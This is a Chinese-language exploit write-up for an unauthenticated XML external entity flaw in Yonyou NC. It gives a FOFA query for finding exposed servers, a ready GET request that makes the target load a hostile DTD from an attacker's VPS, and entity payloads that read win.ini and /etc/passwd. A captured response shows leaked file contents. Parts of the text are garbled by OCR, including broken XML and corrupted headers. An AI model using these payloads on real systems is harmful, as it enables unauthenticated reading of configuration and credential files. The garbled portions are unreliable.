Y4-20用友-NC-XXE

漏洞描述:

用友 NC 多处接口存在XML实体注入漏洞,未经身份验证攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状

网站图片:









连接

与企业应用的链接优化,并支持企业应用在终端上的自 验相关的端服务,并对提供的服务进行应用优化。 动升级

体验 UClient 提供全新客户端,消除浏览器依赖,完成用户 UClient 打造一个面向企业的端服务平台,提供改善体 社交

UClient 通过嵌入社交协同能力,建立企业用户之间的 连接,提供企业间数据共享和连接的服务,形成基于1 业服务云平台的企业社交网络。

版权所有© 2015 用友网络科技股份有限公司

网络测绘:

fofa语法:

app="用友-UFIDA-NC"

漏洞复现:

payload:

GET /uapws/service/nc.itf.bd.crm.IPsndocExportToCrmService?xsd=http://VPS/evil.xml HTTP/1.1 Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)
Connection: close
Accept: text/plain, */*; q=0.01
Accept-Encoding: gzip

任意文件读取利用,需要VPS上建立对应操作系统的xml文件,然后开启http服务。xml文件如下

"1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///c://windows/win.ini">]>
<user><username>&name;</username><password>I</password></user>

Linux: (?*ml version="1.0"?><!DOCTYPE test [<!ENTITY name SYSTEM "file:///etc/passwd">]>
<user><user><user><user><user><user>
<user><user><user>

效果图:

```
数据包扫描
Request
        GET·/uapws/service/nc.itf.bd.crm.IPsndocExportToCrmService?xsd=http://- /evil.xml HTTP/1.1
                                                                                                                                                                        HTTP/1.1-200-0K
                                                                                                                                                                        Server: Apache-Coyote/1.1
Set-Cookie: JSESSIONID-4A2727FD2A79D41FC6A9355FCC8CD74E.server; Path-Content-Type: text/xml
Date: Wed, J28:Feb:2024:12:89:32-GMT
         Host: 6:86
User-Agent: Horilla/5.0 (Windows-NT-10.0; Win64; x64)
Connection: close
Accept: text/plain, */*; q=0.01
                                                                                                                                                                        Connection: close
Content-Length: 179
          Accept-Encoding: gzip
                                                                                                                                                                  9 v <?xml·version='1.0' encoding='UTF-8'?><user><username>; for 16-bit ag
                                                                                                                                                                        [fonts]
[extensions]
[mci extensions]
                                                                                                                                                                         [files]
```